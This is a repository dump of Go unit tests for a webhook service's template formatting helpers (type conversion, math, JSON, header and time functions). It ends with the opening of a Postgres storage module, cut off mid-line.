| tmpl = New().WithTemplate(` 91 | { 92 | "customData": {{ toJson .CustomData }}, 93 | "metadata": { 94 | "testID": "{{ .Request.Header | getHeader "X-Test" }}", 95 | "deliveryID": "{{ .Request.Header | getHeader "X-Delivery" | default "unknown" }}" 96 | }, 97 | {{ with $payload := fromJson .Payload }} 98 | "payload": { 99 | "foo_exists" : {{ $payload.test.foo | toJson }} 100 | } 101 | {{ end }} 102 | } 103 | `). 104 | WithPayload([]byte(`{"test": {"foo": true}}`)). 105 | WithRequest(req). 106 | WithData("CustomData", map[string]string{"foo": "bar"}) 107 | assert.NotNil(tmpl) 108 | 109 | str, err = tmpl.Render() 110 | assert.Nil(err) 111 | assert.JSONEq(`{ 112 | "customData": { 113 | "foo": "bar" 114 | }, 115 | "metadata": { 116 | "testID": "test", 117 | "deliveryID": "unknown" 118 | }, 119 | "payload": { 120 | "foo_exists": true 121 | } 122 | }`, str) 123 | 124 | // Test with template with template error 125 | tmpl = New().WithTemplate("{{ .Payload }") 126 | assert.NotNil(tmpl) 127 | assert.Equal("{{ .Payload }", tmpl.tmplString) 128 | 129 | str, err = tmpl.Render() 130 | assert.Error(err) 131 | assert.Contains(err.Error(), "error in your template: ") 132 | assert.Equal("", str) 133 | 134 | // Test with template with data error 135 | tmpl = New().WithTemplate("{{ .Request.Method }}").WithRequest(nil) 136 | assert.NotNil(tmpl) 137 | assert.Equal("{{ .Request.Method }}", tmpl.tmplString) 138 | 139 | str, err = tmpl.Render() 140 | assert.Error(err) 141 | assert.Contains(err.Error(), "error while filling your template: ") 142 | assert.Equal("", str) 143 | 144 | // Test with template with invalid format sended to a function 145 | tmpl = New().WithTemplate(`{{ lookup "test" .Payload }}`).WithPayload([]byte(`{"test": "test"}`)) 146 | assert.NotNil(tmpl) 147 | assert.Equal(`{{ lookup "test" .Payload }}`, tmpl.tmplString) 148 | 149 | str, err = tmpl.Render() 150 | assert.Error(err) 151 | assert.Contains(err.Error(), "template cannot be rendered, check your template") 152 | assert.Equal("", str) 153 | } 154 | 155 | func TestFromContext(t *testing.T) { 156 | // Test case 1: context value is not a *Formatter 157 | ctx1 := context.Background() 158 | _, err1 := FromContext(ctx1) 159 | assert.Equal(t, ErrNotFoundInContext, err1) 160 | 161 | // Test case 2: context value is a *Formatter 162 | ctx2 := context.WithValue(context.Background(), formatterCtxKey, &Formatter{}) 163 | formatter, err2 := FromContext(ctx2) 164 | assert.NotNil(t, formatter) 165 | assert.Nil(t, err2) 166 | } 167 | 168 | func TestToContext(t *testing.T) { 169 | // Test case 1: context value is nil 170 | ctx1 := context.Background() 171 | ctx1 = ToContext(ctx1, nil) 172 | assert.Nil(t, ctx1.Value(formatterCtxKey)) 173 | 174 | // Test case 2: context value is not nil 175 | ctx2 := context.Background() 176 | formatter := &Formatter{} 177 | ctx2 = ToContext(ctx2, formatter) 178 | assert.Equal(t, formatter, ctx2.Value(formatterCtxKey)) 179 | } 180 | -------------------------------------------------------------------------------- /pkg/formatting/functions_is_to_test.go: -------------------------------------------------------------------------------- 1 | package formatting 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "math" 7 | "net/http/httptest" 8 | "testing" 9 | "time" 10 | 11 | "github.com/stretchr/testify/assert" 12 | ) 13 | 14 | func TestIsNumber(t *testing.T) { 15 | // Test with nil value 16 | assert.False(t, isNumber(nil)) 17 | 18 | // Test with invalid value 19 | assert.False(t, isNumber(math.NaN())) 20 | assert.False(t, isNumber(math.Inf(1))) 21 | assert.False(t, isNumber(math.Inf(-1))) 22 | assert.False(t, isNumber(complex(1, 2))) 23 | 24 | // Test with integer values 25 | assert.True(t, isNumber(int(42))) 26 | assert.True(t, isNumber(int8(42))) 27 | assert.True(t, isNumber(int16(42))) 28 | assert.True(t, isNumber(int32(42))) 29 | assert.True(t, isNumber(int64(42))) 30 | assert.True(t, isNumber(uint(42))) 31 | assert.True(t, isNumber(uint8(42))) 32 | assert.True(t, isNumber(uint16(42))) 33 | assert.True(t, isNumber(uint32(42))) 34 | assert.True(t, isNumber(uint64(42))) 35 | assert.False(t, isNumber(uintptr(42))) 36 | 37 | // Test with floating-point values 38 | assert.True(t, isNumber(float32(3.14))) 39 | assert.True(t, isNumber(float64(3.14))) 40 | 41 | } 42 | 43 | type customStringer struct { 44 | str string 45 | } 46 | 47 | func (s customStringer) String() string { 48 | return s.str 49 | } 50 | 51 | func TestIsString(t *testing.T) { 52 | // Test with nil value 53 | assert.False(t, isString(nil)) 54 | 55 | // Test with empty value 56 | assert.False(t, isString("")) 57 | assert.False(t, isString([]byte{})) 58 | assert.False(t, isString(struct{}{})) 59 | 60 | // Test with non-empty value 61 | assert.True(t, isString("test")) 62 | assert.True(t, isString([]byte("test"))) 63 | assert.True(t, isString(fmt.Sprintf("%v", 42))) 64 | assert.True(t, isString(customStringer{})) 65 | assert.True(t, isString(time.Now())) 66 | assert.False(t, isString(42)) 67 | assert.False(t, isString(3.14)) 68 | assert.False(t, isString([]int{1, 2, 3})) 69 | assert.False(t, isString(httptest.NewRecorder())) 70 | assert.False(t, isString(struct{ String string }{String: "test"})) 71 | assert.False(t, isString(map[string]string{"foo": "bar"})) 72 | } 73 | 74 | func TestIsBool(t *testing.T) { 75 | // Test with a bool value 76 | assert.True(t, isBool(true)) 77 | assert.True(t, isBool(false)) 78 | 79 | // Test with a string value 80 | assert.True(t, isBool("true")) 81 | assert.True(t, isBool("false")) 82 | assert.True(t, isBool("TRUE")) 83 | assert.True(t, isBool("FALSE")) 84 | assert.False(t, isBool("foo")) 85 | assert.False(t, isBool("")) 86 | 87 | // Test with a []byte value 88 | assert.True(t, isBool([]byte("true"))) 89 | assert.True(t, isBool([]byte("false"))) 90 | assert.True(t, isBool([]byte("TRUE"))) 91 | assert.True(t, isBool([]byte("FALSE"))) 92 | assert.False(t, isBool([]byte("foo"))) 93 | assert.False(t, isBool([]byte(""))) 94 | 95 | // Test with a fmt.Stringer value 96 | assert.True(t, isBool(fmt.Sprintf("%v", true))) 97 | assert.True(t, isBool(fmt.Sprintf("%v", false))) 98 | assert.False(t, isBool(fmt.Sprintf("%v", 42))) 99 | 100 | // Test with other types 101 | assert.False(t, isBool(nil)) 102 | assert.False(t, isBool(42)) 103 | assert.False(t, isBool(3.14)) 104 | assert.False(t, isBool([]int{1, 2, 3})) 105 | assert.False(t, isBool(map[string]string{"foo": "bar"})) 106 | assert.False(t, isBool(struct{ Foo string }{Foo: "bar"})) 107 | } 108 | 109 | func TestIsNull(t *testing.T) { 110 | // Test with nil value 111 | assert.True(t, isNull(nil)) 112 | 113 | // Test with empty value 114 | assert.True(t, isNull("")) 115 | assert.True(t, isNull([]int{})) 116 | assert.True(t, isNull(map[string]string{})) 117 | assert.True(t, isNull(struct{}{})) 118 | 119 | // Test with non-empty value 120 | assert.False(t, isNull("test")) 121 | assert.False(t, isNull(42)) 122 | assert.False(t, isNull(3.14)) 123 | assert.False(t, isNull([]int{1, 2, 3})) 124 | assert.False(t, isNull(map[string]string{"foo": "bar"})) 125 | assert.False(t, isNull(struct{ Foo string }{Foo: "bar"})) 126 | assert.False(t, isNull(time.Now())) 127 | assert.False(t, isNull(httptest.NewRecorder())) 128 | } 129 | 130 | func TestToString(t *testing.T) { 131 | // Test with nil value 132 | assert.Equal(t, "", toString(nil)) 133 | 134 | // Test with invalid value 135 | buf := new(bytes.Buffer) 136 | assert.Equal(t, "", toString(buf)) 137 | 138 | // Test with string value 139 | assert.Equal(t, "test", toString("test")) 140 | assert.Equal(t, "test", toString([]byte("test"))) 141 | assert.Equal(t, "42", toString(fmt.Sprintf("%v", 42))) 142 | assert.Equal(t, "", toString(struct{ String string }{String: "test"})) 143 | assert.Equal(t, "", toString(struct{}{})) 144 | 145 | // Test with fmt.Stringer value 146 | assert.Equal(t, "test", toString(customStringer{str: "test"})) 147 | assert.Equal(t, "", toString(customStringer{})) 148 | 149 | // Test with other types 150 | assert.Equal(t, "42", toString(42)) 151 | assert.Equal(t, "42", toString(uint(42))) 152 | assert.Equal(t, "3.14", toString(3.14)) 153 | assert.Equal(t, "true", toString(true)) 154 | assert.Equal(t, "false", toString(false)) 155 | assert.Equal(t, "2009-11-10 23:00:00 +0000 UTC", toString(time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC))) 156 | } 157 | 158 | func TestToInt(t *testing.T) { 159 | // Test with nil value 160 | assert.Equal(t, 0, toInt(nil)) 161 | 162 | // Test with invalid value 163 | assert.Equal(t, 0, toInt("test")) 164 | assert.Equal(t, 0, toInt([]byte("test"))) 165 | assert.Equal(t, 0, toInt(struct{ Int int }{Int: 42})) 166 | assert.Equal(t, 0, toInt(new(bytes.Buffer))) 167 | 168 | // Test with valid value 169 | assert.Equal(t, 42, toInt(42)) 170 | assert.Equal(t, -42, toInt("-42")) 171 | assert.Equal(t, 0, toInt("0")) 172 | assert.Equal(t, 123456789, toInt("123456789")) 173 | } 174 | 175 | func TestToFloat(t *testing.T) { 176 | // Test with nil value 177 | assert.Equal(t, 0.0, toFloat(nil)) 178 | 179 | // Test with invalid value 180 | assert.Equal(t, 0.0, toFloat("test")) 181 | assert.Equal(t, 0.0, toFloat([]byte("test"))) 182 | assert.Equal(t, 0.0, toFloat(struct{ Float float64 }{Float: 42})) 183 | assert.Equal(t, 0.0, toFloat(new(bytes.Buffer))) 184 | 185 | // Test with valid value 186 | assert.Equal(t, 42.0, toFloat(42)) 187 | assert.Equal(t, -42.0, toFloat("-42")) 188 | assert.Equal(t, 0.0, toFloat("0")) 189 | assert.Equal(t, 123456789.0, toFloat("123456789")) 190 | assert.Equal(t, 3.14, toFloat(3.14)) 191 | assert.Equal(t, 2.71828, toFloat("2.71828")) 192 | } 193 | 194 | func TestToBool(t *testing.T) { 195 | // Test with nil value 196 | assert.False(t, toBool(nil)) 197 | 198 | // Test with invalid value 199 | assert.False(t, toBool("test")) 200 | assert.False(t, toBool([]byte("test"))) 201 | assert.False(t, toBool(struct{ Bool bool }{Bool: true})) 202 | assert.False(t, toBool(new(bytes.Buffer))) 203 | 204 | // Test with valid value 205 | assert.True(t, toBool(true)) 206 | assert.True(t, toBool("true")) 207 | assert.True(t, toBool("1")) 208 | assert.False(t, toBool(false)) 209 | assert.False(t, toBool("false")) 210 | assert.False(t, toBool("0")) 211 | } 212 | -------------------------------------------------------------------------------- /pkg/formatting/functions_math_test.go: -------------------------------------------------------------------------------- 1 | package formatting 2 | 3 | import ( 4 | "bytes" 5 | "math" 6 | "testing" 7 | 8 | "github.com/stretchr/testify/assert" 9 | ) 10 | 11 | func TestMathAdd(t *testing.T) { 12 | // Test with nil value 13 | assert.Equal(t, 0.0, mathAdd(nil)) 14 | 15 | // Test with invalid value 16 | assert.Equal(t, 0.0, mathAdd("test")) 17 | assert.Equal(t, 0.0, mathAdd([]byte("test"))) 18 | assert.Equal(t, 0.0, mathAdd(struct{ Float float64 }{Float: 42})) 19 | assert.Equal(t, 0.0, mathAdd(new(bytes.Buffer))) 20 | 21 | // Test with valid value 22 | assert.Equal(t, 42.0, mathAdd(42)) 23 | assert.Equal(t, 0.0, mathAdd()) 24 | assert.Equal(t, 6.0, mathAdd(1, 2, 3)) 25 | assert.Equal(t, 10.0, mathAdd(1, 2, "3", 4)) 26 | assert.Equal(t, 3.14, mathAdd(3.14)) 27 | assert.Equal(t, 5.0, mathAdd(2, 3.0)) 28 | } 29 | 30 | func TestMathSub(t *testing.T) { 31 | // Test with nil value 32 | assert.Equal(t, 0.0, mathSub(nil)) 33 | 34 | // Test with invalid value 35 | assert.Equal(t, 0.0, mathSub("test")) 36 | assert.Equal(t, 0.0, mathSub([]byte("test"))) 37 | assert.Equal(t, 0.0, mathSub(struct{ Float float64 }{Float: 42})) 38 | assert.Equal(t, 0.0, mathSub(new(bytes.Buffer))) 39 | 40 | // Test with valid value 41 | assert.Equal(t, 42.0, mathSub(42)) 42 | assert.Equal(t, 0.0, mathSub()) 43 | assert.Equal(t, -4.0, mathSub(1, 2, 3)) 44 | assert.Equal(t, -8.0, mathSub(1, 2, "3", 4)) 45 | assert.Equal(t, 3.14, mathSub(3.14)) 46 | assert.Equal(t, -1.0, mathSub(2, 3.0)) 47 | } 48 | 49 | func TestMathMul(t *testing.T) { 50 | // Test with nil value 51 | assert.Equal(t, 0.0, mathMul(nil)) 52 | 53 | // Test with invalid value 54 | assert.Equal(t, 0.0, mathMul("test")) 55 | assert.Equal(t, 0.0, mathMul([]byte("test"))) 56 | assert.Equal(t, 0.0, mathMul(struct{ Float float64 }{Float: 42})) 57 | assert.Equal(t, 0.0, mathMul(new(bytes.Buffer))) 58 | assert.Equal(t, 0.0, mathMul()) 59 | 60 | // Test with valid value 61 | assert.Equal(t, 42.0, mathMul(42)) 62 | assert.Equal(t, 6.0, mathMul(1, 2, 3)) 63 | assert.Equal(t, 24.0, mathMul(1, 2, "3", 4)) 64 | assert.Equal(t, 3.14, mathMul(3.14)) 65 | assert.Equal(t, 6.0, mathMul(2, 3.0)) 66 | } 67 | 68 | func TestMathDiv(t *testing.T) { 69 | // Test with nil value 70 | assert.Equal(t, 0.0, mathDiv(nil)) 71 | 72 | // Test with invalid value 73 | assert.Equal(t, 0.0, mathDiv("test")) 74 | assert.Equal(t, 0.0, mathDiv([]byte("test"))) 75 | assert.Equal(t, 0.0, mathDiv(struct{ Float float64 }{Float: 42})) 76 | assert.Equal(t, 0.0, mathDiv(new(bytes.Buffer))) 77 | 78 | // Test with valid value 79 | assert.Equal(t, 42.0, mathDiv(42)) 80 | assert.Equal(t, 0.0, mathDiv()) 81 | assert.Equal(t, 0.16666666666666666, mathDiv(1, 2, 3)) 82 | assert.Equal(t, 0.041666666666666664, mathDiv(1, 2, "3", 4)) 83 | assert.Equal(t, 3.14, mathDiv(3.14)) 84 | assert.Equal(t, 0.6666666666666666, mathDiv(2, 3.0)) 85 | } 86 | 87 | func TestMathMod(t *testing.T) { 88 | // Test with nil value 89 | assert.Equal(t, 0.0, mathMod(nil)) 90 | 91 | // Test with invalid value 92 | assert.Equal(t, 0.0, mathMod("test")) 93 | assert.Equal(t, 0.0, mathMod([]byte("test"))) 94 | assert.Equal(t, 0.0, mathMod(struct{ Float float64 }{Float: 42})) 95 | assert.Equal(t, 0.0, mathMod(new(bytes.Buffer))) 96 | 97 | // Test with valid value 98 | assert.Equal(t, 42.0, mathMod(42)) 99 | assert.Equal(t, 0.0, mathMod()) 100 | assert.Equal(t, 1.0, mathMod(10, 3, 2)) 101 | assert.Equal(t, 0.0, mathMod(10, 2)) 102 | assert.Equal(t, 1.0, mathMod(10, 3)) 103 | assert.Equal(t, 0.0, mathMod(10, 5)) 104 | assert.Equal(t, 0.5, mathMod(10.5, 2)) 105 | } 106 | 107 | func TestMathPow(t *testing.T) { 108 | // Test with nil value 109 | assert.Equal(t, 0.0, mathPow(nil)) 110 | 111 | // Test with invalid value 112 | assert.Equal(t, 0.0, mathPow("test")) 113 | assert.Equal(t, 0.0, mathPow([]byte("test"))) 114 | assert.Equal(t, 0.0, mathPow(struct{ Float float64 }{Float: 42})) 115 | assert.Equal(t, 0.0, mathPow(new(bytes.Buffer))) 116 | assert.Equal(t, 0.0, mathPow()) 117 | 118 | // Test with valid value 119 | assert.Equal(t, 2.0, mathPow(2)) 120 | assert.Equal(t, 8.0, mathPow(2, 3)) 121 | assert.Equal(t, 64.0, mathPow(2, 3, 2)) 122 | assert.Equal(t, 1.0, mathPow(2, 0)) 123 | assert.Equal(t, 0.25, mathPow(2, -2)) 124 | assert.Equal(t, 27.0, mathPow(3, "3")) 125 | assert.Equal(t, 4.0, mathPow(2, 2.0)) 126 | } 127 | 128 | func TestMathSqrt(t *testing.T) { 129 | // Test with nil value 130 | assert.Equal(t, 0.0, mathSqrt(nil)) 131 | 132 | // Test with invalid value 133 | assert.Equal(t, 0.0, mathSqrt("test")) 134 | assert.Equal(t, 0.0, mathSqrt([]byte("test"))) 135 | assert.Equal(t, 0.0, mathSqrt(struct{ Float float64 }{Float: 42})) 136 | assert.Equal(t, 0.0, mathSqrt(new(bytes.Buffer))) 137 | 138 | // Test with valid value 139 | assert.Equal(t, 2.0, mathSqrt(4)) 140 | assert.Equal(t, 3.0, mathSqrt(9)) 141 | assert.Equal(t, 0.0, mathSqrt(0)) 142 | assert.Equal(t, math.Sqrt(2), mathSqrt(2)) 143 | assert.Equal(t, math.Sqrt(0.5), mathSqrt(0.5)) 144 | } 145 | 146 | func TestMathMin(t *testing.T) { 147 | // Test with nil value 148 | assert.Equal(t, 0.0, mathMin(nil)) 149 | 150 | // Test with invalid value 151 | assert.Equal(t, 0.0, mathMin("test")) 152 | assert.Equal(t, 0.0, mathMin([]byte("test"))) 153 | assert.Equal(t, 0.0, mathMin(struct{ Float float64 }{Float: 42})) 154 | assert.Equal(t, 0.0, mathMin(new(bytes.Buffer))) 155 | 156 | // Test with valid value 157 | assert.Equal(t, 1.0, mathMin(1)) 158 | assert.Equal(t, 2.0, mathMin(2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12)) 159 | assert.Equal(t, -1.0, mathMin(-1, 0, 1)) 160 | assert.Equal(t, 0.0, mathMin(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)) 161 | assert.Equal(t, 0.5, mathMin(1, 0.5, 2)) 162 | assert.Equal(t, -2.0, mathMin(2, -2, 0)) 163 | } 164 | 165 | func TestMathMax(t *testing.T) { 166 | // Test with nil value 167 | assert.Equal(t, 0.0, mathMax(nil)) 168 | 169 | // Test with invalid value 170 | assert.Equal(t, 0.0, mathMax("test")) 171 | assert.Equal(t, 0.0, mathMax([]byte("test"))) 172 | assert.Equal(t, 0.0, mathMax(struct{ Float float64 }{Float: 42})) 173 | assert.Equal(t, 0.0, mathMax(new(bytes.Buffer))) 174 | 175 | // Test with valid value 176 | assert.Equal(t, 1.0, mathMax(1)) 177 | assert.Equal(t, 12.0, mathMax(2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12)) 178 | assert.Equal(t, 1.0, mathMax(-1, 0, 1)) 179 | assert.Equal(t, 0.0, mathMax(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)) 180 | assert.Equal(t, 2.0, mathMax(1, 0.5, 2)) 181 | assert.Equal(t, 2.0, mathMax(2, -2, 0)) 182 | } 183 | -------------------------------------------------------------------------------- /pkg/formatting/functions_test.go: -------------------------------------------------------------------------------- 1 | package formatting 2 | 3 | import ( 4 | "net/http/httptest" 5 | "testing" 6 | "time" 7 | 8 | "github.com/stretchr/testify/assert" 9 | ) 10 | 11 | func Test_funcMap(t *testing.T) { 12 | assert := assert.New(t) 13 | 14 | funcMap := funcMap() 15 | assert.Contains(funcMap, "default") 16 | assert.NotContains(funcMap, "dft") 17 | assert.Contains(funcMap, "empty") 18 | assert.Contains(funcMap, "coalesce") 19 | assert.Contains(funcMap, "toJson") 20 | assert.Contains(funcMap, "toPrettyJson") 21 | assert.Contains(funcMap, "ternary") 22 | assert.Contains(funcMap, "getHeader") 23 | } 24 | 25 | func Test_dft(t *testing.T) { 26 | assert := assert.New(t) 27 | 28 | assert.Equal("test", dft("default", "test")) 29 | assert.Equal("default", dft("default", nil)) 30 | assert.Equal("default", dft("default", "")) 31 | } 32 | 33 | func Test_empty(t *testing.T) { 34 | assert := assert.New(t) 35 | 36 | assert.True(empty("")) 37 | assert.True(empty(nil)) 38 | assert.False(empty("test")) 39 | assert.False(empty(true)) 40 | assert.False(empty(false)) 41 | assert.True(empty(0 + 0i)) 42 | assert.False(empty(2 + 4i)) 43 | assert.True(empty([]int{})) 44 | assert.False(empty([]int{1})) 45 | assert.True(empty(map[string]string{})) 46 | assert.False(empty(map[string]string{"test": "test"})) 47 | assert.True(empty(map[string]interface{}{})) 48 | assert.False(empty(map[string]interface{}{"test": "test"})) 49 | assert.True(empty(0)) 50 | assert.False(empty(-1)) 51 | assert.False(empty(1)) 52 | assert.True(empty(uint32(0))) 53 | assert.False(empty(uint32(1))) 54 | assert.True(empty(float64(0.0))) 55 | assert.False(empty(float64(1.0))) 56 | assert.True(empty(struct{}{})) 57 | assert.False(empty(struct{ Test string }{Test: "test"})) 58 | 59 | ptr := &struct{ Test string }{Test: "test"} 60 | assert.False(empty(ptr)) 61 | } 62 | 63 | func Test_coalesce(t *testing.T) { 64 | assert := assert.New(t) 65 | 66 | assert.Equal("test", coalesce("test", "default")) 67 | assert.Equal("default", coalesce("", "default")) 68 | assert.Equal("default", coalesce(nil, "default")) 69 | assert.Equal(nil, coalesce(nil, nil)) 70 | } 71 | 72 | func Test_toJson(t *testing.T) { 73 | assert := assert.New(t) 74 | 75 | assert.Equal("{\"test\":\"test\"}", toJson(map[string]string{"test": "test"})) 76 | assert.Equal("{\"test\":\"test\"}", toJson(map[string]interface{}{"test": "test"})) 77 | assert.Equal("null", toJson(nil)) 78 | assert.Equal("", toJson(map[string]interface{}{"test": func() {}})) 79 | } 80 | 81 | func Test_toPrettyJson(t *testing.T) { 82 | assert := assert.New(t) 83 | 84 | assert.Equal("{\n \"test\": \"test\"\n}", toPrettyJson(map[string]string{"test": "test"})) 85 | assert.Equal("{\n \"test\": \"test\"\n}", toPrettyJson(map[string]interface{}{"test": "test"})) 86 | assert.Equal("null", toPrettyJson(nil)) 87 | assert.Equal("", toPrettyJson(map[string]interface{}{"test": func() {}})) 88 | } 89 | 90 | func Test_fromJson(t *testing.T) { 91 | assert := assert.New(t) 92 | 93 | assert.Equal(map[string]interface{}{"test": "test"}, fromJson("{\"test\":\"test\"}")) 94 | assert.Equal(map[string]interface{}{"test": map[string]interface{}{"foo": true}}, fromJson("{\"test\":{\"foo\":true}}")) 95 | assert.Equal(map[string]interface{}{}, fromJson(nil)) 96 | assert.Equal(map[string]interface{}{"test": 1}, fromJson(map[string]interface{}{"test": 1})) 97 | assert.Equal(map[string]interface{}{}, fromJson("")) 98 | assert.Equal(map[string]interface{}{"test": "test"}, fromJson([]byte("{\"test\":\"test\"}"))) 99 | assert.Equal(map[string]interface{}{}, fromJson([]byte("\\\\"))) 100 | 101 | var result = fromJson("{\"test\":\"test\"}") 102 | assert.Equal(result["test"], "test") 103 | } 104 | 105 | func Test_ternary(t *testing.T) { 106 | assert := assert.New(t) 107 | 108 | header := httptest.NewRecorder().Header() 109 | 110 | header.Set("X-Test", "test") 111 | assert.Equal("test", getHeader("X-Test", &header)) 112 | assert.Equal("", getHeader("X-Undefined", &header)) 113 | assert.Equal("", getHeader("", &header)) 114 | assert.Equal("", getHeader("", nil)) 115 | } 116 | 117 | func TestLookup(t *testing.T) { 118 | // Initialize the assert helper 119 | assert := assert.New(t) 120 | 121 | // Example of nested data structure for testing 122 | testData := map[string]interface{}{ 123 | "user": map[string]interface{}{ 124 | "details": map[string]interface{}{ 125 | "name": "John Doe", 126 | "age": 30, 127 | }, 128 | "email": "john.doe@example.com", 129 | }, 130 | "empty": map[string]interface{}{}, 131 | } 132 | 133 | // Test cases 134 | tests := []struct { 135 | path string 136 | data interface{} 137 | expected interface{} 138 | }{ 139 | // Test successful lookups 140 | {"user.details.name", testData, "John Doe"}, 141 | {"user.email", testData, "john.doe@example.com"}, 142 | // Test unsuccessful lookups 143 | {"user.details.phone", testData, nil}, 144 | {"user.location.city", testData, nil}, 145 | // Test edge cases 146 | {"", testData, testData}, 147 | {"user..name", testData, nil}, 148 | {"nonexistent", testData, nil}, 149 | // Test with non-map data 150 | {"user", []interface{}{}, nil}, 151 | } 152 | 153 | // Run test cases 154 | for _, test := range tests { 155 | t.Run(test.path, func(t *testing.T) { 156 | result := lookup(test.path, test.data) 157 | assert.Equal(test.expected, result, "Lookup should return the expected value.") 158 | }) 159 | } 160 | } 161 | 162 | func Test_getHeader(t *testing.T) { 163 | assert := assert.New(t) 164 | 165 | assert.Equal(true, ternary(true, false, true)) 166 | assert.Equal(false, ternary(true, false, false)) 167 | assert.Equal("true string", ternary("true string", "false string", true)) 168 | assert.Equal("false string", ternary("true string", "false string", false)) 169 | assert.Equal(nil, ternary(nil, nil, false)) 170 | } 171 | 172 | func Test_formatTime(t *testing.T) { 173 | assert := assert.New(t) 174 | 175 | teaTime := parseTime("2023-01-01T08:42:00Z", time.RFC3339) 176 | assert.Equal("Sun Jan 1 08:42:00 UTC 2023", formatTime(teaTime, time.RFC3339, time.UnixDate)) 177 | 178 | teaTime = parseTime("Mon Jan 01 08:42:00 UTC 2023", time.UnixDate) 179 | assert.Equal("2023-01-01T08:42:00Z", formatTime(teaTime, time.UnixDate, time.RFC3339)) 180 | 181 | // from unix 182 | teaTime = parseTime("2023-01-01T08:42:00Z", time.RFC3339) 183 | assert.Equal("Sun Jan 1 08:42:00 UTC 2023", formatTime(teaTime.Unix(), "", time.UnixDate)) 184 | 185 | assert.Equal("", formatTime("INVALID_TIME", "", "")) 186 | assert.Equal("", formatTime(nil, "", "")) 187 | } 188 | 189 | func TestParseTime(t *testing.T) { 190 | // Test with nil value 191 | assert.Equal(t, time.Time{}, parseTime(nil, "")) 192 | // Test with invalid value 193 | assert.Equal(t, time.Time{}, parseTime("test", "")) 194 | assert.Equal(t, time.Time{}, parseTime(true, "")) 195 | assert.Equal(t, time.Time{}, parseTime([]byte("test"), "")) 196 | assert.Equal(t, time.Time{}, parseTime(struct{ Time time.Time }{Time: time.Now()}, "")) 197 | assert.Equal(t, time.Time{}, parseTime(httptest.NewRecorder(), "")) 198 | assert.Equal(t, time.Time{}, parseTime("INVALID_TIME", "")) 199 | assert.Equal(t, time.Time{}, parseTime("", "")) 200 | assert.Equal(t, time.Time{}, parseTime("", "INVALID_LAYOUT")) 201 | 202 | // Test with valid value 203 | teaTime := time.Date(2023, 1, 1, 8, 42, 0, 0, time.UTC) 204 | assert.Equal(t, teaTime, parseTime("2023-01-01T08:42:00Z", time.RFC3339)) 205 | assert.Equal(t, teaTime, parseTime("Mon Jan 01 08:42:00 UTC 2023", time.UnixDate)) 206 | assert.Equal(t, teaTime, parseTime("Monday, 01-Jan-23 08:42:00 UTC", time.RFC850)) 207 | assert.Equal(t, teaTime, parseTime("2023/01/01 08h42m00", "2006/01/02 15h04m05")) 208 | teaTime = time.Date(2023, 1, 1, 8, 42, 0, 0, time.Local) 209 | assert.Equal(t, teaTime, parseTime(teaTime.Unix(), "")) 210 | 211 | assert.Equal(t, time.Unix(1234567890, 0), parseTime(int64(1234567890), "")) 212 | assert.Equal(t, time.Time{}, parseTime(int32(0), "")) 213 | assert.Equal(t, time.Time{}, parseTime(int16(0), "")) 214 | assert.Equal(t, time.Time{}, parseTime(int8(0), "")) 215 | assert.Equal(t, time.Time{}, parseTime(int(0), "")) 216 | assert.Equal(t, time.Time{}, parseTime(uint(0), "")) 217 | assert.Equal(t, time.Time{}, parseTime(uint32(0), "")) 218 | assert.Equal(t, time.Time{}, parseTime(uint64(0), "")) 219 | assert.Equal(t, time.Time{}, parseTime(float32(0), "")) 220 | assert.Equal(t, time.Time{}, parseTime(float64(0), "")) 221 | assert.Equal(t, time.Time{}, parseTime("", "")) 222 | assert.Equal(t, time.Time{}, parseTime("invalid", "")) 223 | assert.Equal(t, time.Time{}, parseTime("2006-01-02 15:04:05", "")) 224 | assert.Equal(t, time.Date(2022, 12, 31, 0, 0, 0, 0, time.UTC), parseTime("2022-12-31", "2006-01-02")) 225 | assert.Equal(t, time.Date(2022, 12, 31, 23, 59, 59, 0, time.UTC), parseTime("2022-12-31 23:59:59", "2006-01-02 15:04:05")) 226 | } 227 | -------------------------------------------------------------------------------- /pkg/storage/postgres/postgres.go: -------------------------------------------------------------------------------- 1 | package postgres 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | 7 | "github.com/jmoiron/sqlx" 8 | _ "github.com/lib/pq" 9 | "github.com/rs/zerolog/log" 10 | 11 | "atomys.codes/webhooked/internal/valuable" 12 | "atomys.codes/webhooked/pkg/formatting" 13 | ) 14 | 15 | // storage is the struct contains client and config 16 | // Run is made from external caller at begins programs 17 | type storage struct { 18 | client *sqlx.DB 19 | config *config 20 | } 21 | 22 | // config is the struct contains config for connect client 23 | // Run is made from internal caller 24 | type config struct { 25 | DatabaseURL valuable.Valuable `mapstructure:"databaseUrl" json:"databaseUrl"` 26 | // ! Deprecation notice: End of life in v1.0.0 27 | TableName string `mapstructure:"tableName" json:"tableName"` 28 | // ! Deprecation notice: End of life in v1.0.0 29 | DataField string `mapstructure:"dataField" json:"dataField"` 30 | 31 | UseFormattingToPerformQuery bool `mapstructure:"useFormattingToPerformQuery" json:"useFormattingToPerformQuery"` 32 | // The query to perform on the database with named arguments 33 | Query string `mapstructure:"query" json:"query"` 34 | // The arguments to use in the query with the formatting feature (see pkg/formatting) 35 | Args map[string]string `mapstructure:"args" json:"args"` 36 | } 37 | 38 | // NewStorage is the function for create new Postgres client storage 39 | // Run is made from external caller at begins programs 40 | // @param config contains config define in the webhooks yaml file 41 | // @return PostgresStorage the struct contains client connected and config 42 | // @return an error if the the client is not initialized successfully 43 | func NewStorage(configRaw map[string]interface{}) (*storage, error) { 44 | var err error 45 | 46 | newClient := storage{ 47 | config: &config{}, 48 | } 49 | 50 | if err := valuable.Decode(configRaw, &newClient.config); err != nil { 51 | return nil, err 52 | } 53 | 54 | // ! Deprecation notice: End of life in v1.0.0 55 | if newClient.config.TableName != "" || newClient.config.DataField != "" { 56 | log.Warn().Msg("[DEPRECATION NOTICE] The TableName and DataField are deprecated, please use the formatting feature instead") 57 | } 58 | 59 | if newClient.config.UseFormattingToPerformQuery { 60 | if newClient.config.TableName != "" || newClient.config.DataField != "" { 61 | return nil, fmt.Errorf("the formatting feature is enabled, the TableName and DataField are deprecated and cannot be used in the same time") 62 | } 63 | 64 | if newClient.config.Query == "" { 65 | return nil, fmt.Errorf("the query is required when the formatting feature is enabled") 66 | } 67 | 68 | if newClient.config.Args == nil { 69 | newClient.config.Args 